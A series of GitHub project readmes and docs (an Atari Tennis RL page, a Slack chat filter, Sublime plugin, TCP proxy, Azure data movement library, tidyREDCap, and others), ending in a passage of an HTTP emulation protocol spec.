text:
---
layout: page
title: Atari Tennis Environment
permalink: /envs/gym/atari/tennis/

redirect_from:
 - /envs/gym/atari-2600/tennis/
 - /env/gym/atari/tennis/
 - /env/gym/atari-2600/tennis/

nav:
 - name: Overview
   permalink: '#overview'
 - name: Performances
   permalink: '#performances'
---

## Overview

<video autoplay muted loop controls>
  <source src="{{ 'assets/_pages/envs/gym/atari/tennis.mp4' | absolute_url }}" type="video/mp4">
</video>

Tennis offers singles matches for one or two players; one player is colored pink, the other blue. The game has two user-selectable speed levels. When serving and returning shots, the tennis players automatically swing forehand or backhand as the situation demands, and all shots automatically clear the net and land in bounds.

The first player to win one six-game set is declared the winner of the match (if the set ends in a 6-6 tie, the set restarts from 0-0). This differs from professional tennis, in which player must win at least two out of three six-game sets.

*Description from [Wikipedia](https://en.wikipedia.org/wiki/Tennis_(1981_video_game))*

## Performances of RL Agents {#performances}

We list various reinforcement learning algorithms that were tested in this environment. These results are from [RL Database](https://github.com/seungjaeryanlee/rldb). If this page was helpful, please consider giving a star!

Star

### Human Starts

$human_table

### No-op Starts

$noop_table

### Normal Starts

$unspecified_table

repository: seungjaeryanlee/rldb

repo_name: seungjaeryanlee/rldb


text:
# Chat Filter

Chat Filter is a Slack bot that responds to non-inclusive messages in a slack channel

#### What is Chat Filter?

Chat Filter uses Slack’s API and Microsoft Azure to detect when users post negative or non-inclusive messages to Slack, in which case the channel is notified that the message could be more appropriately worded.

This project can be customized to allow more discrete reporting to supervisors and fine-tuned for any team.

#### We’re Proud of:

We were really excited to learn about Microsoft Azure, and we eventually settled on and successfully used its Text Analysis API.

Many of us had previously found Slack to be a helpful tool, so we are excited to have learnt more about it from a developer point of view and proud that we created something that is useful to us when we use Slack in the future.

We left Local Hack Day as a team of 4 friends, and we think Chat Filter has some awesome use cases.

#### What challenges did we face, and how did we overcome them?

Some Javascript nuances stopped our HTTP posts from working.
Nevertheless, with three of our mentors, Conrad Muan, Albert Xing, and Alicja Raszkowska provided us with appropriate alternatives and solutions so that we could continue.

In addition, we learned to parse JSON objects that were required for interaction with Azure, for which we want to give a shout out to well-done documentation @Microsoft.

#### Future Ideas:

Chat Filter could reply in threads instead of the channel directly in order to minimize visual clutter.

Customize Positive and Negative Messages

#### Team:

[Moses Kirathe](https://github.com/moses-kirathe)

[Erik Ryhorchuk](https://github.com/AbsoluteSpace)

[Leo Zhang](https://github.com/PhaseRush)

[Melissa Bernstein](https://github.com/melissab1238)

#### Resources:

[Harassment Detection](http://wiki.knoesis.org/index.php/Context-Aware_Harassment_Detection_on_Social_Media)

[Harassment-Corpus](https://github.com/Mrezvan94/Harassment-Corpus)

license: MIT

repository: moskirathe/chat-filter

branch_name: refs/heads/master

extension: md

license_type: permissive

repo_name: moskirathe/chat-filter


text:
# Sublime Markdown (version 0.3.0)

This is a Sublime Text plugin for building markdown.

## Installation

Install using Package Control (Recommanded)

1. I guess most Sublime Text 2 users are using Sublime Package Control. If not, please install it from here <http://wbond.net/sublime_packages/package_control>
2. Go to Preference > Package Control, and Choose "Install Package"
3. Choose the package named "MarkdownBuild" to install it

Install manually

1. Download the repo
2. Copy everything in the repo to a folder named "MarkdownBuild" under the package folder of SublimeText 2 (create it if it doesn't exist)

## Configuration

_MarkdownBuild_ works out of the box without any configuration.
The generated html file will be saved in the temp folder of your operating system.

But if you set `markdownbuild_output_same_dir` to `true`, then the generated html will be saved in the same directory as the markdown file. This is just usefull if you want to store the resulting html permanently.

	{
		"markdownbuild_output_same_dir": true
	}

In this case the file will be named like the original markdown file but with the _.html_ extension.

## Usage

Originally this plugin is named "SublimeMarkdown" which features automatic bullet points, numbered lists etc. Now the bullet points functionality is extracted to a separated plugin named "SublimeBullet" <https://github.com/erinata/SublimeBullet>

Press Ctrl+b to build the markdown file to html and view it in the browser. It used Python-markdown to build the html file but you do not need to have Python installed in order to use this plugin. It used the Python inside Sublime Text to get the job done.

I also include a Markdown.tmLanguage file so the markdown files' syntax should be highlighted. It works well with the theme "SunBurst" but it should work for other themes too.

## Operating Systems

This package should work on Windows, OSX, and Linux

## License

Copyright (C) 2012 Tom Lam. MIT License.

repository: pdaether/SublimeMarkdownBuild

repo_name: pdaether/SublimeMarkdownBuild


text:
# TCP Proxy

<img width="644" alt="Screen Shot 2021-08-30 at 11 49 43 PM" src="https://user-images.githubusercontent.com/25875381/131438772-aa2743fc-f2c2-4826-9279-9b2a7eaee00e.png">

It's best to have a TCP proxy in your tool belt, both for forwarding the traffic to bounce from host to host, but also when we are assessing network-based software.
There will be scenarios when we can't run wireshark or can't load drivers to sniff the loopback on windows. This script will help overcoming all those obstacles.

Connect this tcp-proxy with ftp-client to see it's functioning.

repository: Zureno/DubleDableDo

branch_name: refs/heads/main

repo_name: Zureno/DubleDableDo


text:
The core comes with a base controller that should be inheritted by **all Application / Addon controllers.**

*nb. This controller is actually already inheritted by the AppController and other Base Controllers. See the [App Controllers](/Developer/App/Controllers)*

## The Setup

The core controller setups some of the core classes and adds them to the controller object and also to the View.

### View

The View class (for more information see [View Documentation](/Developer/Core/View)), is setup to be accessible via

	$this->view

from within a controller and is also added to the view templates as

	$view

allowing you to use the View class to fetch templates as "elements".

### Assets

The Assets class (for more information see [Assets Documentation](/Developer/Core/Assets)), is setup to be accessible via

	$this->assets

from within a controller and is also added to the view templates as

	$assets

allowing you to add and load css / js / image files from within the template.

### Router

The Router class (for more information see [Router Documentation](/Developer/Core/Router)), is added to the templates and is accessible via

	$router

allowing you to use the router generate function to generate the routes for your links.

*nb. Currently this object is not added to the controller, it is currently accessed via \App::get('router') this will be amended in a later version so it is accessible via `$this->router`.*

## OnLoad

The constructor for the controller is the method which handles the setup above. To prevent errors with developers needing to perform setup operations inside the constructor and forgetting to use

	parent::__construct();

therefore breaking the controllers, we introduced the "onLoad" method. Simply the constructor checks to see if an onLoad method exists, if it does it runs the method.

This means there is never a need override the construct method meaning the controller at a system level will still function.

Inheritted controllers however may have their own onLoad methods so calling parent::onLoad(); from within your onLoad method is a **must!**

*nb. This may seem like duplication, however incorrectly overriding constructors will break the system for definite. Incorrectly overriding onLoads may mean the system will still work but just not 100% as expected.*

repository: yashodhank/docs

repo_name: yashodhank/docs


text:
# LCMS-Spectator
LCMS raw data and MSGF+ results viewer

LcmsSpectator is a standalone Windows graphical user interface tool for viewing LC-MS data and identifications.

It takes a single or multiple Thermo raw files (\*.raw) or MzML file and shows MS and MS/MS spectra as well as precursor and product ion chromatograms as resizable, floatable tabbed-documents.

Identification and target files can also be loaded to show the spectral and chromatographic evidence. The tool currently supports MS-GF+ and MSPathFinder tab-delimited results, and MzIdentML files.

It uses [Informed-Proteomics](https://github.com/PNNL-Comp-Mass-Spec/Informed-Proteomics) for reading spectrum files and can function as a GUI for ProMex and MSPathFinder.

A guide for using LCMS-Spectator can be found on our [GitHub Wiki Page](https://github.com/PNNL-Comp-Mass-Spec/LCMS-Spectator/wiki/Screenshots-with-Descriptions).

## Downloads

* https://github.com/PNNL-Comp-Mass-Spec/LCMS-Spectator/releases
* https://omics.pnl.gov/software/lcmsspectator

### Supported file formats
#### Spectrum files

When used with no other software installed, LcmsSpectator supports the use of centroid mzML files as spectrum input. If Thermo Finnigan MSFileReader is installed, it also supports reading from Thermo Finnigan .raw files ([Download here](https://thermo.flexnetoperations.com/control/thmo/download?element=6306677), requires registration to download).

Several other formats are supported if an appropriate version of ProteoWizard is installed ([Download here](http://proteowizard.sourceforge.net/downloads.shtml), make sure the version downloaded matches system architecture)

#### Search result files
Supports .mzid files, but will only show limited information about the results for .mzid files that were not produced by MSGF+ or MSPathFinder (scores will not be shown for other search tools).

Also supports .tsv files created by MSPathFinder or MSGF+.

## System Requirements
Minimum required:
* .NET 4.5.1 installed
* Will probably try to run on anything where you can install .NET 4.5.1.

Minimum recommended:
* 2.4 GHz, quad-core CPU
* 16 GB RAM
* Windows 7 or newer
* 250 GB hard drive

Website: http://omics.pnl.gov/

-------------------------------------------------------------------------------

Licensed under the Educational Community License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.osedu.org/licenses/ECL-2.0

Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS"
BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
or implied. See the License for the specific language governing
permissions and limitations under the License.

repository: inambioinfo/LCMS-Spectator

repo_name: inambioinfo/LCMS-Spectator


text:
## Support Statement

- We will be making only fixes related data integrity and security for 2.0.XX.
- We will not be adding new storage service version support for this SDK.
- We will not be back porting fixes and features added to the current version to the versions in this repo
- We will not be making any changes to the performance characteristics of this SDK.

If you are looking for support for any feature in our new storage service versions (e.g. Blob, File, DataLake) please look to our V12 releases.
| SDK Name      | Version       | Description | NuGet/API Reference Links |
| ------------- | ------------- | ----------- | ----- |
| [Blob Storage SDK v12 for .NET](https://github.com/Azure/azure-sdk-for-net/tree/master/sdk/storage/Azure.Storage.Blobs) | v12.0.0 | The next generation Blob Storage SDK. Supports sync and async IO. | [NuGet](https://www.nuget.org/packages/Azure.Storage.Blobs/) - [Reference](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-quickstart-blobs-dotnet)
| [File Storage SDK v12 for .NET](https://github.com/Azure/azure-sdk-for-net/tree/master/sdk/storage/Azure.Storage.Files.Shares) | 12.0.0-preview.5 | The next generation File Storage SDK. Supports sync and async IO. | [NuGet](https://www.nuget.org/packages/Azure.Storage.Files.Shares) - [Reference](https://docs.microsoft.com/en-us/dotnet/api/azure.storage.files?view=azure-dotnet-preview)
| [Data Lake Storage SDK v12 for .NET](https://github.com/Azure/azure-sdk-for-net/tree/master/sdk/storage/Azure.Storage.Files.DataLake) | 12.0.0-preview.6 | The next generation Data Lake Storage SDK. Supports sync and async IO. | [NuGet](https://www.nuget.org/packages/Azure.Storage.Files.DataLake)

# Microsoft Azure Storage Data Movement Library (2.0.1)

The Microsoft Azure Storage Data Movement Library designed for high-performance uploading, downloading and copying Azure Storage Blob and File. This library is based on the core data movement framework that powers [AzCopy](https://azure.microsoft.com/documentation/articles/storage-use-azcopy/).

For more information about the Azure Storage, please visit [Microsoft Azure Storage Documentation](https://azure.microsoft.com/documentation/services/storage/).

> Note:
> As of 0.11.0, the namespace has changed to Microsoft.Azure.Storage.DataMovement from Microsoft.WindowsAzure.Storage.DataMovement.

# Features

- Blobs
    - Download/Upload/Copy Blobs.
    - Copy Blobs with synchronous copying, service side asynchronous copying and service side synchronous copying.
    - Concurrently transfer Blobs and Blob chunks, define number of concurrent operations
    - Download Specific Blob Snapshot

- Files
	- Download/Upload/Copy Files.
    - Copy File with synchronous copying and service side asynchronous copying.
    - Concurrently transfer Files and File ranges, define number of concurrent operations

- General
	- Track data transfer progress
	- Recover the data transfer
	- Set Access Condition
	- Set User Agent Suffix
	- Directory/recursive transfer

# Getting started

For the best development experience, we recommend that developers use the official Microsoft NuGet packages for libraries. NuGet packages are regularly updated with new functionality and hotfixes.

## Target Frameworks

- .NET Framework 4.5.2 or above
- Netstandard2.0

## Requirements

To call Azure services, you must first have an Azure subscription. Sign up for a [free trial](/en-us/pricing/free-trial/) or use your [MSDN subscriber benefits](/en-us/pricing/member-offers/msdn-benefits-details/).

## Download & Install

### Via Git

To get the source code of the SDK via git just type:

```bash
git clone https://github.com/Azure/azure-storage-net-data-movement.git
cd azure-storage-net-data-movement
```

### Via NuGet

To get the binaries of this library as distributed by Microsoft, ready for use
within your project you can also have them installed by the .NET package manager [NuGet](https://www.nuget.org/packages/Microsoft.Azure.Storage.DataMovement).

`Install-Package Microsoft.Azure.Storage.DataMovement`

## Dependencies

### Azure Storage Blob Client Library

This version depends on Azure Storage Blob Client Library

- [Microsoft.Azure.Storage.Blob](https://www.nuget.org/packages/Microsoft.Azure.Storage.Blob/)

### Azure Storage File Client Library

This version depends on Azure Storage File Client Library

- [Microsoft.Azure.Storage.File](https://www.nuget.org/packages/Microsoft.Azure.Storage.File/)

## Code Samples

Find more samples at the [sample folder](https://github.com/Azure/azure-storage-net-data-movement/tree/master/samples?).

### Upload a blob

First, include the classes you need, here we include Storage client library, the Storage data movement library and the .NET threading because data movement library provides Task Asynchronous interfaces to transfer storage objects:

```csharp
using System;
using System.Threading;
using Microsoft.Azure.Storage;
using Microsoft.Azure.Storage.Blob;
using Microsoft.Azure.Storage.DataMovement;
```

Now use the interfaces provided by Storage client lib to setup the storage context (find more details at [how to use Blob Storage from .NET](https://azure.microsoft.com/documentation/articles/storage-dotnet-how-to-use-blobs/)):

```csharp
string storageConnectionString = "myStorageConnectionString";
CloudStorageAccount account = CloudStorageAccount.Parse(storageConnectionString);
CloudBlobClient blobClient = account.CreateCloudBlobClient();
CloudBlobContainer blobContainer = blobClient.GetContainerReference("mycontainer");
blobContainer.CreateIfNotExists();
string sourcePath = "path\\to\\test.txt";
CloudBlockBlob destBlob = blobContainer.GetBlockBlobReference("myblob");
```

Once you setup the storage blob context, you can start to use `WindowsAzure.Storage.DataMovement.TransferManager` to upload the blob and track the upload progress,

```csharp
// Setup the number of the concurrent operations
TransferManager.Configurations.ParallelOperations = 64;
// Setup the transfer context and track the upload progress
SingleTransferContext context = new SingleTransferContext();
context.ProgressHandler = new Progress<TransferStatus>((progress) =>
{
	Console.WriteLine("Bytes uploaded: {0}", progress.BytesTransferred);
});
// Upload a local blob
var task = TransferManager.UploadAsync(
	sourcePath, destBlob, null, context, CancellationToken.None);
task.Wait();
```

### Copy a blob

First, include the classes you need, which is the same as the sample to Upload a blob.

```csharp
using System;
using System.Threading;
using Microsoft.Azure.Storage;
using Microsoft.Azure.Storage.Blob;
using Microsoft.Azure.Storage.DataMovement;
```

Now use the interfaces provided by Storage client lib to setup the storage contexts (find more details at [how to use Blob Storage from .NET](https://azure.microsoft.com/documentation/articles/storage-dotnet-how-to-use-blobs/)):

```csharp
string sourceStorageConnectionString = "sourceStorageConnectionString";
CloudStorageAccount sourceAccount = CloudStorageAccount.Parse(sourceStorageConnectionString);
CloudBlobClient sourceBlobClient = sourceAccount.CreateCloudBlobClient();
CloudBlobContainer sourceBlobContainer = sourceBlobClient.GetContainerReference("sourcecontainer");
CloudBlockBlob sourceBlob = sourceBlobContainer.GetBlockBlobReference("sourceBlobName");

string destStorageConnectionString = "destinationStorageConnectionString";
CloudStorageAccount destAccount = CloudStorageAccount.Parse(destStorageConnectionString);
CloudBlobClient destBlobClient = destAccount.CreateCloudBlobClient();
CloudBlobContainer destBlobContainer = destBlobClient.GetContainerReference("destinationcontainer");
CloudBlockBlob destBlob = destBlobContainer.GetBlockBlobReference("destBlobName");
```

Once you setup the storage blob contexts, you can start to use `WindowsAzure.Storage.DataMovement.TransferManager` to copy the blob and track the copy progress:

```csharp
// Setup the number of the concurrent operations
TransferManager.Configurations.ParallelOperations = 64;
// Setup the transfer context and track the copy progress
SingleTransferContext context = new SingleTransferContext();
context.ProgressHandler = new Progress<TransferStatus>((progress) =>
{
	Console.WriteLine("Bytes Copied: {0}", progress.BytesTransferred);
});

// Copy a blob
var task = TransferManager.CopyAsync(
    sourceBlob, destBlob, CopyMethod.ServiceSideSyncCopy, null, context, CancellationToken.None);
task.Wait();
```

DMLib supports three different copying methods: Synchronous Copy, Service Side Asynchronous Copy and Service Side Synchronous Copy. The above sample uses Service Side Synchronous Copy. See [Choose Copy Method](#choose-copy-method) for details on how to choose the copy method.

# Best Practice

### Increase .NET HTTP connections limit
By default, the .Net HTTP connection limit is 2. This implies that only two concurrent connections can be maintained. It prevents more parallel connections accessing Azure blob storage from your application.

AzCopy will set ServicePointManager.DefaultConnectionLimit to the number of eight multiple the core number by default. To have a comparable performance when using Data Movement Library alone, we recommend you set this value as well.

```csharp
ServicePointManager.DefaultConnectionLimit = Environment.ProcessorCount * 8;
```

### Turn off 100-continue
When the property "Expect100Continue" is set to true, client requests that use the PUT and POST methods will add an Expect: 100-continue header to the request and it will expect to receive a 100-Continue response from the server to indicate that the client should send the data to be posted. This mechanism allows clients to avoid sending large amounts of data over the network when the server, based on the request headers, intends to reject the request.

However, once the entire payload is received on the server end, other errors may still occur. And if Windows Azure clients have tested the client well enough to ensure that it is not sending any bad requests, clients could turn off 100-continue so that the entire request is sent in one roundtrip. This is especially true when clients send small size storage objects.

```csharp
ServicePointManager.Expect100Continue = false;
```

### Pattern/Recursive in DMLib
The following matrix explains how the DirectoryOptions.Recursive and DirectoryOptions.SearchPattern properties work in DMLib.

    Source
    Search Pattern
    Recursive
    Search Pattern Example
    Comments

    Local
    Wildcard Match
    TRUE
    "foo*.png"
    The search pattern is a standard wild card match that is applied to the current directory and all subdirectories.

    Local
    Wildcard Match
    FALSE
    "foo*.png"
    The search pattern is a standard wild card match that is applied to the current directory only.

    Azure Blob
    Prefix Match
    TRUE
    <domainname>/<container>/<virtualdirectory>/<blobprefix>

"blah.blob.core.windows.net/ipsum/lorem/foo*"
    The search pattern is a prefix match.

    Azure Blob
    Exact Match
    FALSE
    <domainname>/<container>/<virtualdirectory>/<fullblobname>

"blah.blob.core.windows.net/ipsum/lorem/foobar.png"
    The search pattern is an exact match. If the search pattern is an empty string, no blobs will be matched.

    Azure File
    N/A
    TRUE
    N/A
    Recursive search is not supported and will return an error.

    Azure File
    Exact Match
    FALSE
    <domainname>/<share>/<directory>/<fullfilename>

"blah.files.core.windows.net/ipsum/lorem/foobar.png"
    The search pattern is an exact match. If the search pattern is an empty string, no files will be matched.

- Default pattern option:
  - Local:*
  - Blob: Empty string
  - File: Empty string

- Default recursive option: false

### Choose Copy Method
DMLib supports three copy methods:
- Synchronous Copy
  DMLib downloads data from source to memory, and uploads the data from memory to destination.

- Service Side Asynchronous Copy
  DMLib sends request to Azure Storage Server to start the copying, and monitors its status until the copying is completed.

- Service Side Synchronous Copy
  DMLib leverages [Put Block From URL](https://docs.microsoft.com/en-us/rest/api/storageservices/put-block-from-url), [Append Block From URL](https://docs.microsoft.com/en-us/rest/api/storageservices/append-block-from-url), [Put Page From URL](https://docs.microsoft.com/en-us/rest/api/storageservices/put-page-from-url) to copy Azure Storage Blobs.

Following is suggested copy method for different scenarios:
- From performance aspect:

Based on Azure Storage Server's [SLA for Storage Accounts](https://azure.microsoft.com/en-us/support/legal/sla/storage/v1_5/), following are suggestions when copying performance is most important to you:
  - To copy between blobs or files inner storage account, Service Side Asynchronous Copy would be suggested.
  - To copy Blobs, Service Side Synchronous Copy would be suggested.
  - To copy Files or copy between Blobs and Files, Synchronous Copy would be suggested. To achieve best copying performance, Synchronous Copy would need a powerful machine in Azure.
- From cost aspect, Service Side Asynchronous Copy would cost least.
- From data flow approach, Synchronous Copy would be well controlled. With Synchronous Copy, the data will go through the network configured by you.
- From supported directions, Synchronous Copy and Service Side Asynchronous Copy support more directions than Service Side Synchronous Copy. See details in below table

Following table shows supported directions with different copy method.

    Append Blob
    Block Blob
    Page Blob
    Azure File

    Append Blob
    Synchronous Copy
 Service Side Asynchronous Copy
 Service Side Synchronous Copy
    N/A
    N/A
    Synchronous Copy
 Service Side Asynchronous Copy

    Block Blob
    N/A
    Synchronous Copy
 Service Side Asynchronous Copy
 Service Side Synchronous Copy
    N/A
    Synchronous Copy
 Service Side Asynchronous Copy

    Page Blob
    N/A
    N/A
    Synchronous Copy
 Service Side Asynchronous Copy
 Service Side Synchronous Copy
    Synchronous Copy
 Service Side Asynchronous Copy

    File
    Synchronous Copy
 Service Side Asynchronous Copy
    Synchronous Copy
 Service Side Asynchronous Copy
    Synchronous Copy
 Service Side Asynchronous Copy
    Synchronous Copy
 Service Side Asynchronous Copy

# Need Help?
Be sure to check out the Microsoft Azure [Developer Forums on MSDN](http://go.microsoft.com/fwlink/?LinkId=234489) if you have trouble with the provided code or use StackOverflow.

# Collaborate & Contribute

We gladly accept community contributions.

- Issues: Please report bugs using the Issues section of GitHub
- Forums: Interact with the development teams on StackOverflow or the Microsoft Azure Forums
- Source Code Contributions: Please follow the [contribution guidelines for Microsoft Azure open source](http://azure.github.io/guidelines.html) that details information on onboarding as a contributor

For general suggestions about Microsoft Azure please use our [UserVoice forum](http://feedback.azure.com/forums/34192--general-feedback).

# Learn More

- [Storage Data Movement Library API reference](https://azure.github.io/azure-storage-net-data-movement)
- [Storage Client Library Reference for .NET - MSDN](https://docs.microsoft.com/en-us/dotnet/api/overview/azure/storage?view=azure-dotnet)
- [Azure Storage Team Blog](http://blogs.msdn.com/b/windowsazurestorage/)

repository: Azure/azure-storage-net-data-movement

gha_language: C#

gha_license_id: MIT

repo_name: Azure/azure-storage-net-data-movement


text:
  [![CRAN status](https://www.r-pkg.org/badges/version/tidyREDCap)](https://CRAN.R-project.org/package=tidyREDCap)
  [![Lifecycle: maturing](https://lifecycle.r-lib.org/articles/figures/lifecycle-stable.svg)](https://lifecycle.r-lib.org/articles/stages.html#stable)
  [![CRAN downloads](https://cranlogs.r-pkg.org/badges/tidyREDCap)](https://www.r-pkg.org/pkg/tidyREDCap)

# tidyREDCap

tidyREDCap is an R package with functions for processing REDCap data.

'REDCap' (Research Electronic Data CAPture; <https://projectredcap.org>) is a web-enabled application for building and managing surveys and databases developed at Vanderbilt University.

## What tidyREDCap Functions Can Do for You?

#### Load All Data from REDCap into R with One Line of Code

* 💥 NEW in Version 1.1 💥 `import_instruments()` includes the repeat number for repeated instruments/forms/questionnaires.

* `import_instruments()` will use an API call to load every instrument/questionnaire into its own R dataset.  If the REDCap project is longitudinal or has repeated instruments, the function will remove blank records.

#### Show the Field Labels Inside RStudio

* After loading data into R using RStudio with the `import_instruments()` function, you can see both the variable name and the text that appears to users of REDCap.  All you need to do is click on the dataset's name in the **Environment** tab or use the View() function. The column headings will include both the variable name and the Field Label from REDCap.

* 💥 NEW in Version 1.1 💥  Functions coming from packages outside of `tidyREDCap` may not understand what to do with labeled variables.  So, `tidyREDCap` includes a new `drop_labels()` function that will allow you to strip the labels before using functions that want unlabeled data.

#### Working with Choose One Questions

* `make_choose_one_table()`: print a `janitor::tabyl()` style table with a variable label.  This function lets you print one choice from a choose all that apply question.

#### Working with Choose All that Apply Questions

REDCap exports the responses to a choose all that apply question into many similarly named questions.  tidyREDCap helps summarize the responses with two functions:

* `make_binary_word()`: converts all the responses into a single descriptive "word"
* `make_choose_all_table()`: converts all the responses into a single summary table

#### Working with Repeated Measures

Projects that have repeated assessments with different questionnaires/instruments export with holes in the CSV.  tidyREDCap will parse the export and create tables for any of the questionnaires/instruments:

* `make_instrument()`: makes a tibble for a questionnaire/instrument

## What are the tidyREDCap Websites?
Main Page: https://raymondbalise.github.io/tidyREDCap/
**User Guides**: https://raymondbalise.github.io/tidyREDCap/articles/
Development Site: https://github.com/RaymondBalise/tidyREDCap

## Where Can I Find tidyREDCap?

#### Offical Release
You can get the latest official release of tidyREDCap from CRAN.
```
install.packages("tidyREDCap")
```

#### Development Release
Run these two lines of code to install tidyREDCap from GitHub (this requires [RTools](https://cran.r-project.org/bin/windows/Rtools/) for Windows or Xcode for Mac to be installed on your computer):

```
if (!requireNamespace("devtools")) install.packages("devtools")
devtools::install_github("RaymondBalise/tidyREDCap")
```

#### What is new on the development release?

* 💥 NEW in Version <IP_ADDRESS>00 💥 adds `make_yes_no()` function to convert
  "checked" or "yes"-like answers to "Yes" and other answers to "No or Unknown".
* 💥 NEW in Version <IP_ADDRESS>00 💥 adds `make_yes_no_unknown()` function to
  convert "checked" or "yes"-like  answers to "Yes"", unchecked or "no"-like
  answers to "No" and other answers to "Unknown".

## What if I Find a Problem?
We are currently in active development of tidyREDCap. If one of our functions does not work the way that you expect, or if one of our functions is broken, please submit an issue ticket (using a [reproducible example](https://reprex.tidyverse.org/articles/reprex-dos-and-donts.html)) to our [issues page](https://github.com/RaymondBalise/tidyREDCap/issues). If you have a cool idea for our next new function, also submit an issue ticket. If you are an R developer and want so contribute to this package, please submit an issue ticket or a pull request.

## Who Are Our Supporters?
The development of this package was supported by:

* Healing Communities Study: Developing and Testing and Integrated Approach to Address the Opioid Crisis-New York State.
    * National Institute on Drug Abuse, 1 UM1 DA049415
* CTN-0094 Individual Level Predictive Modeling of Opioid Use Disorder Treatment Outcome.
    * Florida Node Alliance Of The Drug Abuse Clinical Trials Network  NIDA UG1 DA013720
* University of Miami Center for HIV and Researching Mental Health (CHARM)
    * NIH	1P30MH116867-01A1
* University of Miami, Sylvester Comprehensive Cancer Center
* Florida International University, Stempel College of Public Health

repository: RaymondBalise/tidyREDCap

gha_language: R

gha_license_id: NOASSERTION

repo_name: RaymondBalise/tidyREDCap


text:
---
layout: post
title: Real Time Reel
thumbnail-path: "img/real_time_reel.png"
short-description: Create a slideshow from an Instagram hashtag.

---

{:.center}
![]({{ site.baseurl }}/img/real_time_reel.png)

[Github](http://github.com/iamkevinlowe/real_time_reel)

[Visit](http://real-time-reel.herokuapp.com)

## Explanation

A simple to use Instagram slideshow creator that auto updates as images are being shared on Instagram.

## Problem

The idea for this came from the question, "How can I make weddings more fun?".  Nowadays, most people document everything on social media.  Instagram is a great application for users to capture and share moments.  At weddings, phones are almost always out capturing the Groom as he patiently waits for his love, the Bride as she walks down the aisle, their first kiss, and all the other special moments.  Most of the time, there's too much going on for people to stop what they're doing and flip through what's posted on Instagram.

## Solution

Real Time Reel, literally creates a real-time slideshow of hash-tagged images.  It connects to Instagram's API to retrieve the most recent photos and queues them up in line.  As a new photo gets shared, RTR gets the data as soon as it's uploaded to Instagram and queues the photo to display next in line.  This makes it fun for guests at events to participate and see their photos displayed, and in return more memories are created.

## Results

I've yet to use this in a large-scale event, but those who've used it say it's a great application that works!

## Conclusion

Building RTR was great, mainly because of the tools I learned to create the real-time aspect of it.  I used [Socket.io](http://socket.io/), a websocket service, to create a subscription to an Instagram hashtag and listen for updates from their server.  Each ping from their server will have RTR retrieve the new data and inserts it in the queue.

By developing with websockets, I'm able to see a huge opportunity in its potential to build future applications.


text:
# HTTP Extension and Emulation Protocol

## Abstract

This document specifies the behavior of HTTP emulated over HTTP.  It can be used to enable full HTTP capabilities for partially
equipped HTTP clients while minimizing the syntactic differences to maintain consistent performance and bandwidth utilization
profiles.

## Status of This Memo

This document specifies a protocol for the Internet community, and requests discussion and suggestions for improvement.
This memo is written in the style of an IETF RFC, but is _not_ an official IETF RFC.

## Copyright Notice

Copyright (c) 2008 Kaazing Corporation. All rights reserved.

## Table of Contents

  * [Introduction](#introduction)
    * [Background](#background)
    * [Protocol Overview](#protocol-overview)
    * [Design Philosophy](#design-philosophy)
    * [Security Model](#security-model)
  * [Conformance Requirements](#conformance-requirements)
  * [Request Requirements](#request-requirements)
    * [Method Definitions](#method-definitions)
    * [Request Headers](#request-headers)
  * [Response Requirements](#response-requirements)
    * [Response Status Codes](#response-status-codes)
    * [Response Headers](#response-headers)
  * [Origin Security](#origin-security)
    * [Origin Request Headers](#origin-request-headers)
    * [Origin Query Parameter](#origin-query-parameter)
    * [Same-Origin Access Control Headers](#same-origin-access-control-headers)
    * [Target-Origin Resources](#target-origin-resources)
  * [References](#references)

## Introduction

### Background

_This section is non-normative._

JavaScript HTTP [[RFC7230]] clients deployed in HTML4 browsers and plug-in technologies such as Flash, Silverlight and Java often
vary in their completeness of HTTP support.  For example, some clients do not support all HTTP methods, others do not support all
HTTP status codes. The Web Origin Concept and Cross-Origin capability [[W3C CORS]] are also not ubiquitously supported.
Given the request-driven nature of HTTP, many clients have problems initiating a text-based HTTP streaming response because of
attempts to discover the content type by buffering the response.

This specification aims to address these inconsistencies.

### Protocol Overview

_This section is non-normative._

The HTTP Extension and Emulation protocol is layered on top of HTTP.  The content of an HTTPXE request or response is split into
two parts, the emulated start line plus headers, and the emulated content for the request or response.

### Design Philosophy

_This section is non-normative._

The HTTP Extension and Emulation Protocol (HTTPXE) is designed to support a client-side HTTP API with identical semantics when
compared to an HTTP API using the HTTP protocol defined by [[RFC 7230]][RFC7230] while only making use of (perhaps limited) HTTP
APIs at the client, and a corresponding HTTP Extension and Emulation server implementation.

For example, it should be possible to provide a compatible [[W3C XMLHttpRequest API][W3C XMLHttpRequest]] in JavaScript
using only an HTML4 browser's HTTP APIs to implement the HTTP Emulation protocol. Notably, the end-user should not be
required to install any browser plug-ins, instead the emulated XMLHTTPRequest API should be delivered as part of the Web
application JavaScript, perhaps using an HTML `<script>` tag.

### Security Model

_This section is non-normative._

The HTTP Extension and Emulation protocol is layered on top of HTTP and therefore inherits the [[W3C CORS][W3C CORS]] origin
model when used from browser clients.

## Conformance Requirements
The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL"
in this document are to be interpreted as described in [[RFC 2119] [RFC2119]].

## Request Requirements

### Method Definitions
An HTTP request defined in [[RFC 7230]][RFC7230] can support multiple different possible methods, such as `GET`, `HEAD`, `POST`,
`PUT`, `DELETE`, `OPTIONS`, and `TRACE`.  Some HTTP clients can only support `GET` and `POST`.

Therefore we use `GET`, and `POST` with either a query parameter or path encoding to indicate which method was intended.

_[Note: why do we need query parameter now that path encoding is supported?]_

#### GET
The `.km` query parameter MUST NOT be present on a `GET` request intended to be processed as a `GET` request.

An HTTP client may choose to automatically convert a `POST` request into a `GET` request if no body content is specified in the
`POST`.  This automatic conversion may also result in loss of headers specified to be included with the `GET` request.

The following `POST` request
```
POST /path?.km=G HTTP/1.1
[headers]

[body content]
```
is treated equivalently to
```
GET /path HTTP/1.1
[headers]

[no body content]
```
by the server.

The request path may also be used to encode the request method.  A path-encoded `GET` method MUST be represented by a `POST`
method.

The following `POST` request
```
POST /;get/path HTTP/1.1
[headers]

[body content]
```
is treated equivalently to
```
GET /path HTTP/1.1
[headers]

[no body content]
```
by the server when `X-Origin-[origin]` header is present and matches `X-Origin` header - see [Origin Security](#origin-security).

#### POST
The `.km` query parameter MUST NOT be present on a `POST` request intended to be processed as a `POST` request.
```
